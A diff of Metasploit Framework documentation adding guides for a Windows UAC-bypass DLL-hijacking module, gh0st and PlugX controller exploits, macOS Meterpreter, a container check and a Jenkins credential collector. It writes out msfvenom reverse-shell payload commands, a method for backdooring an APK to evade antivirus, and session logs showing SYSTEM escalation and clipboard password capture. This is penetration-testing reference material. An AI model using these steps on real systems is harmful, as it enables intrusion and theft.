+[-] Error => Rex::Post::Meterpreter::RequestError - stdapi_fs_stat: Operation failed: The system cannot find the path specified.
+[-] Error => Rex::Post::Meterpreter::RequestError - stdapi_fs_stat: Operation failed: The system cannot find the path specified.
+[-] Error => Rex::Post::Meterpreter::RequestError - stdapi_fs_stat: Operation failed: The system cannot find the path specified.
+[-] Error => Rex::Post::Meterpreter::RequestError - stdapi_fs_stat: Operation failed: The system cannot find the path specified.
+[-] Error => Rex::Post::Meterpreter::RequestError - stdapi_fs_stat: Operation failed: The system cannot find the path specified.
+[-] Error => Rex::Post::Meterpreter::RequestError - stdapi_fs_stat: Operation failed: The system cannot find the path specified.
+[-] Error => Rex::Post::Meterpreter::RequestError - stdapi_fs_stat: Operation failed: The system cannot find the path specified.
+[-] Error => Rex::Post::Meterpreter::RequestError - stdapi_fs_stat: Operation failed: The system cannot find the path specified.
+[-] Error => Rex::Post::Meterpreter::RequestError - stdapi_fs_stat: Operation failed: The system cannot find the path specified.
+[-] Error => Rex::Post::Meterpreter::RequestError - stdapi_fs_stat: Operation failed: The system cannot find the path specified.
+[-] Error => Rex::Post::Meterpreter::RequestError - stdapi_fs_stat: Operation failed: The system cannot find the path specified.
+[-] Error => Rex::Post::Meterpreter::RequestError - stdapi_fs_stat: Operation failed: The system cannot find the path specified.
+[-] Error => Rex::Post::Meterpreter::RequestError - stdapi_fs_stat: Operation failed: The system cannot find the path specified.
+[-] Error => Rex::Post::Meterpreter::RequestError - stdapi_fs_stat: Operation failed: The system cannot find the path specified.
+[-] Error => Rex::Post::Meterpreter::RequestError - stdapi_fs_stat: Operation failed: The system cannot find the path specified.
+[-] Error => Rex::Post::Meterpreter::RequestError - stdapi_fs_stat: Operation failed: The system cannot find the file specified.
+[-] Error => Rex::Post::Meterpreter::RequestError - stdapi_fs_stat: Operation failed: The system cannot find the file specified.
+[+] All the dropped elements have been successfully removed
+> sessions -l
+
+Active sessions
+===============
+
+  Id  Type                     Information                            Connection
+  --  ----                     -----------                            ----------
+  1   meterpreter x86/windows  WIN10X86-1511\msfuser @ WIN10X86-1511  <MSF_IP>:30009 -> <Win10x86_IP>:50041 (<Win10x86_IP>)
+  2   meterpreter x86/windows  WIN10X86-1511\msfuser @ WIN10X86-1511  <MSF_IP>:30010 -> <Win10x86_IP>:50078 (<Win10x86_IP>)
+
+> sessions -C getuid
+[*] Running 'getuid' on meterpreter session 1 (<Win10x86_IP>)
+Server username: WIN10X86-1511\msfuser
+[*] Running 'getuid' on meterpreter session 2 (<Win10x86_IP>)
+Server username: WIN10X86-1511\msfuser
+> sessions -C getsystem
+[*] Running 'getsystem' on meterpreter session 1 (<Win10x86_IP>)
+[-] priv_elevate_getsystem: Operation failed: Access is denied. The following was attempted:
+[-] Named Pipe Impersonation (In Memory/Admin)
+[-] Named Pipe Impersonation (Dropper/Admin)
+[-] Token Duplication (In Memory/Admin)
+[*] Running 'getsystem' on meterpreter session 2 (<Win10x86_IP>)
+...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
+> sessions -C getuid
+[*] Running 'getuid' on meterpreter session 1 (<Win10x86_IP>)
+Server username: WIN10X86-1511\msfuser
+[*] Running 'getuid' on meterpreter session 2 (<Win10x86_IP>)
+Server username: NT AUTHORITY\SYSTEM
+> exit -y
+```
+
+## Compiling Instructions
+### Compiling Template DLLs 
+To build the x86 template dll, use data/templates/src/pe/dll_gdiplus/build.sh
+(Requires mingw-w64 package from apt)
+```
+cd data/templates/src/pe/dll_gdiplus
+./build.sh
+cp data/templates/src/pe/dll_gdiplus/template_x86_windows.dll data/templates/template_x86_windows_dccw_gdiplus.dll
+```
+To build the x64 binary 
+(In an x64 VS2013 command prompt)
+```
+Z:\metasploit-framework\data\templates\src\pe\dll_gdiplus>cl.exe -LD template.c /Zl /GS- /DBUILDMODE=2 /link /entry:DllMain "kernel32.lib"
+cp data/templates/src/pe/dll_gdiplus/template.dll data/templates/template_x64_windows_dccw_gdiplus.dll
+```
+
+### Compiling bypassuac-x86.dll and bypassuac-x64.dll
+Open the Visual studio solution located in 
+metasploit-framework/external/source/exploits/bypassuac_injection/
+Choose ```release``` from the Solution configurations, build the x86 and x64 solutions.  The binaries should already 
+be in the right place.
+
+# More information
+(From PR)
+
+I decided to create a different module and not to update the one called "bypassuac_injection", because in order to
+perform a DLL hijacking, I need to create several folders in which insert our malicious DLL. Also, I deleted these
+files and folders in a different way, instead using the method "register_file_for_cleanup()", so as to be able to 
+remove the created folders and also prevent a very large output.
+
+If you want to understand the module in a deeper way I recommend you to visit the C++ project on my github: 
+https://github.com/L3cr0f/DccwBypassUAC
+
+## **DLL INJECTION**
+**/metasploit-framework/external/source/exploits/bypassuac_injection/dll/src/Exploit.cpp
+/metasploit-framework/data/post/bypassuac-x64.dll
+/metasploit-framework/data/post/bypassuac-x86.dll**
+
+To perform the DLL hijacking we need to copy the file of our interest to a specific location (in our case "C:\Windows\System32\") using IFileOperation. To do so, first we need to inject a DLL that will perform this task. This DLL is almost the same as the one used in the "bypassuac_injection" module, but, in latest Windows 10 systems (build equal or greater than 15003), the IFileOperation must be invoked in a different way so as to not trigger the UAC prompt. This modification will be:
+
+`if (pFileOp->SetOperationFlags(FOF_NOCONFIRMATION | FOF_NOERRORUI | FOF_SILENT | FOFX_SHOWELEVATIONPROMPT | FOFX_NOCOPYHOOKS | FOFX_REQUIREELEVATION) != S_OK)`
+
+to
+
+`if (pFileOp->SetOperationFlags(FOF_NOCONFIRMATION | FOFX_NOCOPYHOOKS | FOFX_REQUIREELEVATION) != S_OK)`
+
+Note that this modification does not affect other modules.
+To conclude this section, I didn't found the code of "/metasploit-framework/data/post/bypassuac-[ARCH].exe" to update it.
+
+## **DLL HIJACKING**
+**/metasploit-framework/data/templates/template_x86_windows_dccw_gdiplus.dll
+/metasploit-framework/data/templates/template_x64_windows_dccw_gdiplus.dll
+/metasploit-framework/data/templates/src/pe/dll_gdiplus/template.c
+/metasploit-framework/data/templates/src/pe/dll_gdiplus/template.h
+/metasploit-framework/data/templates/src/pe/dll_gdiplus/template.def
+/metasploit-framework/data/templates/src/pe/dll_gdiplus/template.rc
+/metasploit-framework/data/templates/src/pe/dll_gdiplus/build.sh
+/metasploit-framework/lib/msf/core/exploit/exe.rb
+/metasploit-framework/lib/msf/util/exe.rb**
+
+To execute code at high integrity we need to perform a DLL hijacking, but we cannot use the DLL templates provided by
+Metasploit since we need to forward some functions to the legit DLL, so we need to create a new couple of DLL templates,
+which are exactly the same but including the forwarding feature (the way I have implemented does not work on Windows 7).
+Now, despite working in a successfully way, I think it would be great including this forwarding feature on the fly, I mean,
+without having to create an additional DLL template. I don't know how this can be done, so if you come up with something,
+let me know.
+
+Also, to load the previous DLL template we have modified the mentioned "exe.rb" files.
+
+## **Setup the vulnerable environment**
+
+The vulnerable environment setup is the same as the module "bypassuac_injection", we need a meterpreter session, select
+the architecture (0 for x86 and 1 for x64), select the meterpreter payload based on the architecture we want to execute
+with high integrity and set the regular parameters of the payload (LHOST, LPORT, etc).
diff --git a/documentation/modules/exploit/windows/misc/gh0st.md b/documentation/modules/exploit/windows/misc/gh0st.md
new file mode 100644
index 0000000000..5ae7c251e4
--- /dev/null
+++ b/documentation/modules/exploit/windows/misc/gh0st.md
@@ -0,0 +1,42 @@
+## Vulnerable Application
+
+  This module exploits a buffer overflow in the Gh0st Controller when handling a drive list as received by a victim.
+  This vulnerability can allow remote code execution in the context of the user who ran it.
+  
+  A vulnerable version of the software is available here: [gh0st 3.6](https://github.com/rapid7/metasploit-framework/files/1243297/0efd83a87d2f5359fae051517fdf4eed8972883507fbd3b5145c3757f085d14c.zip)
+
+## Verification Steps
+
+  1. Run the application
+  2. Start msfconsole
+  3. Do: `use exploit/windows/misc/gh0st`
+  4. Do: `set rhost [ip]`
+  5. Do: `exploit`
+  6. Get a shell
+
+## Options
+
+  **MAGIC**
+  
+  This is the 5 character magic used by the server.  The default is `Gh0st`
+
+## Scenarios
+
+### Windows XP SP3 with gh0st 3.6
+
+```
+msf > use exploit/windows/misc/gh0st 
+msf exploit(gh0st) > set rhost 192.168.2.108
+rhost => 192.168.2.108
+msf exploit(gh0st) > exploit
+
+[*] Started reverse TCP handler on 1.2.3.4:4444 
+[*] 1.2.3.1:80 - Trying target Gh0st Beta 3.6
+[*] 1.2.3.1.108:80 - Spraying heap...
+[*] 1.2.3.1:80 - Trying command 103...
+[*] Sending stage (956991 bytes) to 1.2.3.1
+[*] Meterpreter session 1 opened (1.2.3.4:4444 -> 1.2.3.1:1303) at 2017-08-26 16:53:58 -0400
+[*] 1.2.3.1:80 - Server closed connection
+
+meterpreter >
+```
diff --git a/documentation/modules/exploit/windows/misc/plugx.md b/documentation/modules/exploit/windows/misc/plugx.md
new file mode 100644
index 0000000000..63640995f3
--- /dev/null
+++ b/documentation/modules/exploit/windows/misc/plugx.md
@@ -0,0 +1,42 @@
+## Vulnerable Application
+
+  This module exploits a stack overflow in the Plug-X Controller when handling a larger than expected message.
+  This vulnerability can allow remote code execution however it causes a popup message to be displayed on the target before execution is gained.
+  
+  A vulnerable version of the software is available here: [PlugX type 1](https://github.com/rapid7/metasploit-framework/files/1243293/9f59a606c57217d98a5eea6846c8113aca07b203e0dcf17877b34a8b2308ade6.zip)
+
+## Verification
+
+  1. Run the application
+  2. Start msfconsole
+  3. Do: `use exploit/windows/misc/plugx`
+  4. Do: `set rhost [ip]`
+  5. Do: `set target [target]`
+  6. Do: `exploit`
+  7. Click OK for the "PeDecodePacket" pop-up on the target
+  8. Get a shell
+
+## Scenarios
+
+### Windows XP SP3 with PlugX type 1
+
+```
+msf > use exploit/windows/misc/plugx 
+msf exploit(plugx) > set rhost 1.2.3.4
+rhost => 1.2.3.4
+msf exploit(plugx) > set target 1
+target => 1
+msf exploit(plugx) > set verbose true
+verbose => true
+msf exploit(plugx) > exploit
+
+[*] Started reverse TCP handler on 1.2.3.99:4444 
+[*] 1.2.3.4:13579 - Trying target PlugX Type I...
+[*] 1.2.3.4:13579 - waiting for response
+[*] Sending stage (956991 bytes) to 1.2.3.4
+[*] Meterpreter session 1 opened (1.2.3.99:4444 -> 1.2.3.4:1975) at 2017-09-04 19:53:07 -0400
+[*] 1.2.3.4:13579 - Server closed connection
+
+meterpreter > getuid
+Server username: WINXP\user
+```
diff --git a/documentation/modules/module_doc_template.md b/documentation/modules/module_doc_template.md
index a009033856..6dfc897dde 100644
--- a/documentation/modules/module_doc_template.md
+++ b/documentation/modules/module_doc_template.md
@@ -27,6 +27,8 @@ functioning in 5+ years, so giving links or specific examples can be VERY helpfu
 
 ## Scenarios
 
+### Version of software and OS as applicable
+
   Specific demo of using the module that might be useful in a real world scenario.
 
   ```
diff --git a/documentation/modules/payload/android/meterpreter/reverse_tcp.md b/documentation/modules/payload/android/meterpreter/reverse_tcp.md
index cde18f507f..849d892714 100644
--- a/documentation/modules/payload/android/meterpreter/reverse_tcp.md
+++ b/documentation/modules/payload/android/meterpreter/reverse_tcp.md
@@ -47,6 +47,16 @@ To create the APK with msfvenom:
 ./msfvenom -p android/meterpreter/reverse_tcp LHOST=[IP] LPORT=4444 -f raw -o /tmp/android.apk
 ```
 
+You can also add Android meterpreter to any existing APK. This will make it harder for
+Anti-virus software to detect the payload, and allow you read internal files and take
+screenshots of the Android app you are backdooring:
+
+
+```
+./msfvenom -p android/meterpreter/reverse_tcp -x com.existing.apk LHOST=[IP] LPORT=4444 -f raw -o /tmp/android.apk
+```
+
+
 Next, start an Android device. Upload the APK, and execute it. There are different ways to do this,
 so please refer to the Scenarios section for more information.
 
diff --git a/documentation/modules/payload/linux/x86/meterpreter/reverse_tcp.md b/documentation/modules/payload/linux/x86/meterpreter/reverse_tcp.md
index b5ced8524f..ae8dccc1fc 100644
--- a/documentation/modules/payload/linux/x86/meterpreter/reverse_tcp.md
+++ b/documentation/modules/payload/linux/x86/meterpreter/reverse_tcp.md
@@ -61,7 +61,7 @@ To use linux/x86/meterpreter/reverse_tcp as an executable, first you can generat
 ./msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=[IP] LPORT=4444 -f elf -o /tmp/payload.bin
 ```
 
-Before sending the exectauble to the victim machine, you need to set up the handler on your end:
+Before sending the executable to the victim machine, you need to set up the handler on your end:
 
 1. Start msfconsole
 2. Do: ```use exploit/multi/handler```
@@ -69,7 +69,7 @@ Before sending the exectauble to the victim machine, you need to set up the hand
 4. Do: ```set LHOST [Your IP]```
 5. Do: ```run```
 
-And that should start the listener. When the victim runs the malicious exectauble, you should
+And that should start the listener. When the victim runs the malicious executable, you should
 receive a session:
 
 ```
@@ -143,7 +143,7 @@ interfaces on the remote machine.
 
 **getuid**
 
-The getuid command tells you the current user that Meterpreter is running on. For example:
+The ```getuid``` command tells you the current user that Meterpreter is running on. For example:
 
 ```
 meterpreter > getuid
@@ -166,7 +166,7 @@ The ```ps``` command lists the running processes on the remote machine.
 
 **shell**
 
-The shell command allows you to interact with the remote machine's terminal (or shell). For
+The ```shell``` command allows you to interact with the remote machine's terminal (or shell). For
 example:
 
 ```
@@ -180,7 +180,7 @@ If you wish to get back to Meterpreter, do [CTRL]+[Z] to background the channel.
 
 **sysinfo**
 
-The sysinfo command shows you basic information about the remote machine. Such as:
+The ```sysinfo``` command shows you basic information about the remote machine. Such as:
 
 * Computer name
 * OS name
diff --git a/documentation/modules/payload/osx/x64/meterpreter/reverse_tcp.md b/documentation/modules/payload/osx/x64/meterpreter/reverse_tcp.md
new file mode 100644
index 0000000000..45d18c8a00
--- /dev/null
+++ b/documentation/modules/payload/osx/x64/meterpreter/reverse_tcp.md
@@ -0,0 +1,183 @@
+osx/x64/meterpreter_reverse_tcp is similar to the linux meterpreter, but built for OSX.
+It allows you to remotely take over the compromised system, having control of the file system,
+webcam, microphone, screenshot and collect sensitive information such as credentials
+using post modules, etc.
+
+## Vulnerable Application
+
+osx/x64/meterpreter_reverse_tcp 64-bit MacOSX platforms from 10.8 onwards.
+
+## Deploying osx/x64/meterpreter_reverse_tcp
+
+To use osx/x64/meterpreter_reverse_tcp as an executable, first you can generate it with msfvenom:
+
+```
+./msfvenom -p osx/x64/meterpreter_reverse_tcp LHOST=[IP] LPORT=4444 -f macho -o /tmp/payload.bin
+```
+
+Before sending the executable to the victim machine, you need to set up the handler on your end:
+
+1. Start msfconsole
+2. Do: ```use exploit/multi/handler```
+3. Do: ```set PAYLOAD osx/x64/meterpreter_reverse_tcp```
+4. Do: ```set LHOST [Your IP]```
+5. Do: ```run```
+
+And that should start the listener. When the victim runs the malicious executable, you should
+receive a session:
+
+```
+msf exploit(handler) > run
+[*] Exploit running as background job.
+
+[*] Started reverse TCP handler on 172.16.23.1:4444 
+msf exploit(handler) > [*] Meterpreter session 1 opened (172.16.23.1:4444 -> 172.16.23.182:45009) at 2017-08-08 12:34:49 +0800
+
+msf exploit(handler) > sessions 1
+[*] Starting interaction with 1...
+
+meterpreter >
+```
+
+
+## Important Basic Commands
+
+Here is a list of some of the common commands you might need while using Meterpreter:
+
+**pwd**
+
+The ```pwd``` command tells you the current working directory. For example:
+
+```
+meterpreter > pwd
+/Users/User/Desktop
+```
+
+**cd**
+
+The ```cd``` command allows you to change directories. Example:
+
+```
+meterpreter > cd /tmp
+```
+
+**cat**
+
+The ```cat``` command allows you to see the content of a file:
+
+```
+meterpreter > cat /tmp/data.txt
+hello world
+```
+
+**upload**
+
+The ```upload``` command allows you to upload a file to the remote target. For example:
+
+```
+meterpreter > upload /tmp/data.bin /Users/User/Desktop
+[*] uploading  : /tmp/data.bin -> /Users/User/Desktop
+[*] uploaded   : /tmp/data.bin -> /Users/User/Desktop/data.bin
+meterpreter > 
+```
+
+**download**
+
+The ```download``` command allows you to download a file from the remote target to your machine. For example:
+
+```
+meterpreter > download /Users/User/Desktop/data.bin /tmp
+[*] downloading: /Users/User/Desktop/data.bin -> /tmp/data.bin
+[*] download   : /Users/User/Desktop/data.bin -> /tmp/data.bin
+```
+
+**ifconfig/ipconfig**
+
+```ifconfig``` and ```ipconfig``` are actually the same thing. They allow you to see the network
+interfaces on the remote machine.
+
+**getuid**
+
+The ```getuid``` command tells you the current user that Meterpreter is running on. For example:
+
+```
+meterpreter > getuid
+Server username: uid=502, gid=20, euid=502, egid=20
+```
+
+**execute**
+
+The ```execute``` command allows you to execute a command or file on the remote machine.
+For example:
+
+```
+meterpreter > execute -f echo -a "hello > /tmp/hello.txt"
+Process 5292 created.
+```
+
+**ps**
+
+The ```ps``` command lists the running processes on the remote machine.
+
+**shell**
+
+The ```shell``` command allows you to interact with the remote machine's terminal (or shell). For
+example:
+
+```
+meterpreter > shell
+Process 29335 created.
+Channel 2 created.
+cat /tmp/hello.txt
+hello
+exit
+meterpreter >
+```
+
+If you wish to get back to Meterpreter, do [CTRL]+[Z] to background the channel or
+[CTRL]+[Z] then y (or the exit command) to terminate the channel.
+
+**sysinfo**
+
+The ```sysinfo``` command shows you basic information about the remote machine. Such as:
+
+* Computer name
+* OS name
+* Architecture
+* Meterpreter type
+
+For example:
+
+```
+meterpreter > sysinfo
+Computer     : My-Computer.local
+OS           : Mac OS X Sierra (MacOSX 10.12.6)
+Architecture : x86
+Meterpreter  : x64/osx
+meterpreter > 
+```
+
+**Extensions**
+
+OSX Meterpreter supports reading and writing to the clipboard with the extapi extension, 
+you can load it with the ```load``` command:
+
+```
+meterpreter > load extapi
+Loading extension extapi...Success.
+meterpreter > clipboard_get_data
+Text captured at
+=================
+pa$$w0rd
+=================
+```
+
+**Other commands**
+
+For a complete list of OSX Meterpreter commands, do the following at the prompt:
+
+```
+meterpreter > help
+```
+
+
diff --git a/documentation/modules/payload/windows/meterpreter/reverse_tcp.md b/documentation/modules/payload/windows/meterpreter/reverse_tcp.md
index eb66ad51de..1780ce84ce 100644
--- a/documentation/modules/payload/windows/meterpreter/reverse_tcp.md
+++ b/documentation/modules/payload/windows/meterpreter/reverse_tcp.md
@@ -90,7 +90,7 @@ For example:
 meterpreter > download C:\\Users\\user\\Desktop\\something.txt /tmp/
 [*] downloading: C:\Users\user\Desktop\something.txt -> /tmp//something.txt
 [*] download   : C:\Users\user\Desktop\something.txt -> /tmp//something.txt
-meterpreter > 
+meterpreter >
 ```
 
 The ```-r``` option for the command also allows you to download recursively.
@@ -154,7 +154,7 @@ Process 2076 created.
 To pass an argument, use the ```-a``` flag:
 
 ```
-meterpreter > execute -f iexplore.exe -a http://metasploit.com
+meterpreter > execute -f iexplore.exe -a https://metasploit.com
 Process 2016 created.
 ```
 
@@ -194,7 +194,7 @@ System Language : en_US
 Domain          : WORKGROUP
 Logged On Users : 2
 Meterpreter     : x86/win32
-meterpreter > 
+meterpreter >
 ```
 
 **keyscan_start**
@@ -283,7 +283,7 @@ repeatedly, you can use the auto_win32_multihandler.rc resource script in Metasp
 First, run the resource script:
 
 ```
-$ ./msfconsole -q -r scripts/resource/auto_win32_multihandler.rc 
+$ ./msfconsole -q -r scripts/resource/auto_win32_multihandler.rc
 [*] Processing scripts/resource/auto_win32_multihandler.rc for ERB directives.
 [*] resource (scripts/resource/auto_win32_multihandler.rc)> Ruby Code (776 bytes)
 lhost => 192.168.1.199
@@ -297,9 +297,9 @@ lport => 4444
 exitonsession => false
 [*] Exploit running as background job.
 
-[*] Started reverse TCP handler on 192.168.1.199:4444 
+[*] Started reverse TCP handler on 192.168.1.199:4444
 [*] Starting the payload handler...
-msf exploit(handler) > 
+msf exploit(handler) >
 ```
 
 Next, go to your ~/.msf4/local directory, you should see meterpreter_reverse_tcp.exe in there.
@@ -315,7 +315,7 @@ from popular applications and enumerate or modify system settings.
 To use a post module from the Meterpreter prompt, simply use the ```run``` command:
 
 ```
-meterpreter > run post/windows/gather/checkvm 
+meterpreter > run post/windows/gather/checkvm
 
 [*] Checking if WIN-6NH0Q8CJQVM is a Virtual Machine .....
 [*] This is a VMware Virtual Machine
@@ -336,7 +336,7 @@ To begin, load the extension:
 ```
 meterpreter > load mimikatz
 Loading extension mimikatz...success.
-meterpreter > 
+meterpreter >
 ```
 
 This will create more commands for the Meterpreter prompt. Most of them are meant to be used to
@@ -387,7 +387,7 @@ To begin, at the Meterpreter prompt, do:
 ```
 meterpreter > load extapi
 Loading extension extapi...success.
-meterpreter > 
+meterpreter >
 ```
 
 One great feature of the extension is clipboard management. The Windows clipboard is interesting
@@ -412,7 +412,7 @@ Text captured at 2016-03-05 19:13:39.0170
 hello, world!!
 =========================================
 
-meterpreter > 
+meterpreter >
 ```
 
 The limitation of this command is that since you're only grabbing whatever is in the clipboard at
@@ -422,7 +422,7 @@ whatever goes in there. To start, issue the following command:
 ```
 meterpreter > clipboard_monitor_start
 [+] Clipboard monitor started
-meterpreter > 
+meterpreter >
 ```
 
 While it is monitoring, you can ask Meterpreter to dump whatever's been captured.
@@ -444,7 +444,7 @@ download    : C:\Users\user\Desktop\cat_pic.png -> ./cat_pic.png
 ==========================================
 
 [+] Clipboard monitor dumped
-meterpreter > 
+meterpreter >
 ```
 
 The ```clipboard_monitor_stop``` command will also dump the captured data, and then exit.
@@ -471,7 +471,7 @@ meterpreter > python_execute "x = 'hello world'; print x"
 [+] Content written to stdout:
 hello world
 
-meterpreter > 
+meterpreter >
 ```
 
 Another way to execute Python code is from a local file by using the ```python_import``` command.
@@ -503,13 +503,13 @@ To learn more about the Python extension, please read this [wiki](https://github
 
 **Network Pivoting**
 
-There are three mains ways that you can use for moving around inside a network: 
+There are three mains ways that you can use for moving around inside a network:
 
  - The route command in the msf prompt
  - The route command in the the Meterpreter prompt
  - The portfwd command
 
-***Routing through msfconsole*** 
+***Routing through msfconsole***
 
 The route command from the msf prompt allows you connect to hosts on a different network through the compromised machine. You should be able to determine that by looking at the compromised machine's ipconfig:
 
@@ -547,7 +547,7 @@ IPv4 Netmask : 255.255.255.255
 ...
 ```
 
-The example above shows that we have a Meterpreter connection to 192.168.1.201. Let's call this box A, and it  is connected to the 192.100.0.0/24 VPN network. As an attacker, we aren't connected to this network directly, but we can explore that network through box A. 
+The example above shows that we have a Meterpreter connection to 192.168.1.201. Let's call this box A, and it  is connected to the 192.100.0.0/24 VPN network. As an attacker, we aren't connected to this network directly, but we can explore that network through box A.
 
 At the msf prompt, do:
 
@@ -566,7 +566,7 @@ msf auxiliary(smb_version) > run
 [*] 192.100.0.101:445     - 192.100.0.101:445 is running Windows 2003 SP2 (build:3790) (name:SINN3R-QIXN9TA2) (domain:WORKGROUP)
 [*] Scanned 1 of 1 hosts (100% complete)
 [*] Auxiliary module execution completed
-msf auxiliary(smb_version) > 
+msf auxiliary(smb_version) >
 ```
 
 Another neat trick using route is that you can also bypass the compromised host's firewall this way. For example, if the host has HTTP open, but SMB is blocked by the firewall, you can try to compromise it via HTTP first. You'll need to use the route command to talk to SMB and then try to exploit SMB.
@@ -628,7 +628,7 @@ The timeout control basically defines the life span of Meterpreter. To configure
 ```set_timeouts``` command:
 
 ```
-meterpreter > set_timeouts 
+meterpreter > set_timeouts
 Usage: set_timeouts [options]
 
 Set the current timeout options.
@@ -671,7 +671,7 @@ meterpreter > irb
 [*] Starting IRB shell
 [*] The 'client' variable holds the meterpreter client
 
->> 
+>>
 ```
 
 **The client object**
diff --git a/documentation/modules/post/hardware/automotive/getvinfo.md b/documentation/modules/post/hardware/automotive/getvinfo.md
index 2f69b26c1e..4af4e47892 100644
--- a/documentation/modules/post/hardware/automotive/getvinfo.md
+++ b/documentation/modules/post/hardware/automotive/getvinfo.md
@@ -24,7 +24,15 @@ PIDs to ASCII.
 
   **CLEAR_DTCS***
 
-  If any Diagnostic Trouble Codes (DTCs) are present it will clear those and reset the MIL (Enginge Light)
+  If any Diagnostic Trouble Codes (DTCs) are present it will clear those and reset the MIL (Engine Light).
+
+  **PADDING**
+
+  Optional byte-value to use for padding all CAN bus packets to an 8-byte length.  Padding is disabled by default.
+
+  **FC**
+
+  Optional.  If true forces sending flow control packets on all multibyte ISO-TP requests
 
 ## Scenarios
 
diff --git a/documentation/modules/post/hardware/rftransceiver/rfpwnon.md b/documentation/modules/post/hardware/rftransceiver/rfpwnon.md
index 154ac37cba..af5c60225f 100644
--- a/documentation/modules/post/hardware/rftransceiver/rfpwnon.md
+++ b/documentation/modules/post/hardware/rftransceiver/rfpwnon.md
@@ -1,4 +1,4 @@
-Port of a brute force utility by LegacySecurityGroup, the original can be found
+Port of a brute force utility by Corey Harding of LegacySecurityGroup.com, the original can be found
 [here](https://github.com/exploitagency/github-rfpwnon/blob/master/rfpwnon.py).
 It's a generic AM/OOK brute forcer with PWM translations.  It has been
 demonstrated to work against static key garage door openers.
diff --git a/documentation/modules/post/linux/gather/checkcontainer.md b/documentation/modules/post/linux/gather/checkcontainer.md
new file mode 100644
index 0000000000..5b5e50602e
--- /dev/null
+++ b/documentation/modules/post/linux/gather/checkcontainer.md
@@ -0,0 +1,76 @@
+## Indicators
+
+  There are several indicators that a process is being executed inside of a container. This module looks for the following indicators:
+
+  1. Presence of `/.dockerenv` file indicates Docker.
+  2. Finding select strings in `/proc/1/cgroup` indicates LXC or Docker.
+  3. The value of the `container` environment variable in `/proc/1/environ` indicates LXC or systemd nspawn.
+
+## Verification Steps
+
+  1. Start msfconsole
+  2. Get a session via exploit of your choice
+  3. `run post/linux/gather/checkcontainer`
+  4. You should get feedback if a container was detected
+
+## Options
+
+  **SESSION**
+
+  Which session to use, which can be viewed with `sessions -l`
+
+## Scenarios
+
+  Check if the jenkins instance you have a shell on is running inside a Docker container.
+
+```
+msf > use exploit/multi/http/jenkins_script_console 
+msf exploit(jenkins_script_console) > set API_TOKEN bc3dbc5c328733cc826c15772e6eaef5
+API_TOKEN => bc3dbc5c328733cc826c15772e6eaef5
+msf exploit(jenkins_script_console) > set RHOST 10.0.0.40
+RHOST => 10.0.0.40
+msf exploit(jenkins_script_console) > set RPORT 8080
+RPORT => 8080
+msf exploit(jenkins_script_console) > set TARGETURI /
+TARGETURI => /
+msf exploit(jenkins_script_console) > set TARGET 1
+TARGET => 1
+msf exploit(jenkins_script_console) > set USERNAME user
+USERNAME => user
+msf exploit(jenkins_script_console) > run
+
+[*] Started reverse TCP handler on 10.0.0.49:4444 
+[*] Checking access to the script console
+[*] Authenticating with token...
+[*] Using CSRF token: 'b83d12171ba5248100f1de20e6472067' (Jenkins-Crumb style)
+[*] 10.0.0.40:8080 - Sending Linux stager...
+[*] Sending stage (826840 bytes) to 10.0.0.40
+[*] Meterpreter session 1 opened (10.0.0.49:4444 -> 10.0.0.40:54404) at 2017-08-16 20:56:23 -0500
+[!] Deleting /tmp/aFdmPcC payload file
+
+meterpreter > run post/linux/gather/checkcontainer 
+
+[+] This appears to be a 'Docker' container
+meterpreter > 
+```
+Detect a LXC container
+```
+meterpreter > run post/linux/gather/checkcontainer 
+
+[+] This appears to be a 'LXC' container
+meterpreter > 
+```
+Detect a systemd nspawn container
+```
+meterpreter > run post/linux/gather/checkcontainer 
+
+[+] This appears to be a 'systemd nspawn' container
+meterpreter > 
+```
+Detect nothing
+```
+meterpreter > run post/linux/gather/checkcontainer 
+
+[*] This does not appear to be a container
+meterpreter > 
+```
\ No newline at end of file
diff --git a/documentation/modules/post/multi/gather/jenkins_gather.md b/documentation/modules/post/multi/gather/jenkins_gather.md
new file mode 100644
index 0000000000..9bfd696ecc
--- /dev/null
+++ b/documentation/modules/post/multi/gather/jenkins_gather.md
@@ -0,0 +1,206 @@
+## Vulnerable Application
+
+  Official Source:
+[Jenkins](https://jenkins.io/download/)
+
+This module has been verified against:
+
+  1. Jenkins 2.67 on Ubuntu 16.04 in Docker
+  1. Jenkins 2.67 on Windows 7 SP 1
+  1. Jenkins 2.60.1
+  1. Jenkins 1.56
+
+## Verification Steps
+
+  1. Set up Jenkins to obtain a shell (use Docker for quick setup)
+  1. Run `docker run -p 8080:8080 -p 50000:50000 jenkins`
+  1. Use the default setup and install "suggested plugins"
+  1. Create new user admin, add a user or credential (via Manage Jenkins)
+  1. Start msfconsole
+  1. We'll use the `jenkins_script_console` module to quickly gain a shell
+  1. Do: ```use exploit/multi/http/jenkins_script_console```
+  1. Do: ```set RHOST 172.17.0.1```
+  1. Do: ```set RPORT 8080```
+  1. Do: ```set TARGETURI /```
+  1. Do: ```set USERNAME admin```
+  1. Do: ```set PASSWORD or set API_TOKEN```
+  1. Do: ```set TARGET 1```
+  1. Do: ```set PAYLOAD linux/x86/meterpreter/reverse_tcp```
+  1. Do: ```set LHOST 192.168.56.105```
+  1. Do: ```exploit -j```
+  1. Do: ```use post/multi/gather/jenkins_gather```
+  1. Do: ```set SESSION 1```
+  1. Do: ```run```
+  1. You should see the saved credentials output
+
+## Options
+
+  **SEARCH_JOBS**
+
+  This option searches through the `jobs` folder for interesting
+keywords but obviously increases runtime on larger instances.
+
+  **STORE_LOOT**
+
+  This option saves interesting files and loot to disk. If set to
+false will simply output data to console.
+
+## Scenarios
+
+**Jenkins on Windows**
+
+```
+msf post(jenkins_gather) > sessions
+
+Active sessions
+===============
+
+  Id  Type                     Information                   Connection
+  --  ----                     -----------                   ----------
+  18  shell x86/linux                                        192.168.56.105:4444 -> 192.168.56.1:58828 (172.17.0.1)
+  20  meterpreter x86/linux    uid=0, gid=0, euid=0, egid=0  192.168.56.105:4444 -> 192.168.56.1:58974 (172.17.0.2)
+  21  meterpreter x86/windows  NT AUTHORITY\SYSTEM @ kali    192.168.56.105:4444 -> 192.168.56.101:50427 (192.168.56.101)
+  23  shell x86/windows                                      192.168.56.105:4444 -> 192.168.56.101:50793 (192.168.56.101)
+
+msf post(jenkins_gather) > info
+
+       Name: Jenkins Credential Collector
+     Module: post/multi/gather/jenkins_gather
+   Platform: Linux, Windows
+       Arch: 
+       Rank: Normal
+
+Provided by:
+  thesubtlety
+
+Basic options:
+  Name        Current Setting  Required  Description
